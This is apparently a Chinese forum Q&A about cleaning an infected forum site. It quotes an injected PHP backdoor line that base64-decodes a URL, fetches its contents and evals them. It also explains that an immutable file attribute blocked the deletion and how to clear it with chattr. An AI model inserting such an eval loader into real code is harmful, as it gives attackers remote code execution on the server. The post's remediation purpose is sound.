E212: Can’t open file for writing怎么整?

网站论坛被挂码,找到了那个文件所在!!
有一段这东西:
eval(base64decode(filegetcontents(base64decode(‘aHR0cDovL2FwaS5iY3RiYnMubmV0L2JldC50eHQ=’))));

用 vi打开删除了这一段
然后esc :wq

保存不行

再次:wq!还是不行

再来,chmod +w 666 function_forum.php

还不行,提示我没有权限。。。

我是root登录的怎么还能没有权限呢?

目测是被设置了 immutable 属性。

试试:

$ lsattr some_file
----i--------e- some_file

如果有这个 i 的话,sudo chattr -i some_file 干掉它,然后就可以修改了。

A file with the `i’ attribute cannot be modified: it cannot be deleted or renamed, no link can be created to this file and no data can be written to the file. Only the superuser or a process possessing the CAPLINUXIMMUTABLE capability can set or clear this attribute.

  • 我的桌面环境是non-login 环境吗?
  • 故障发生后如何确保mysql数据不丢失?
  • 使用JavaScript的Electron 写个弹出窗口的软件
  • Centos 编译安装sphinx-0.9.9全文检索
  • 阿里云如何ghost博客程序的数据库迁移到数据盘上
  • Sublime Text 空格不等宽的问题
  • linux怎么限制用户访问的文件夹
  • 关于阿里云主机IP地址的问题,为什么买的是杭州节点的,查询在北京?
  • php程序员需要掌握哪些LINUX知识
  • Centos7使用dnf包管理器错误?
  • linux nano中为什么M代表[Alt],^代表[Ctrl]?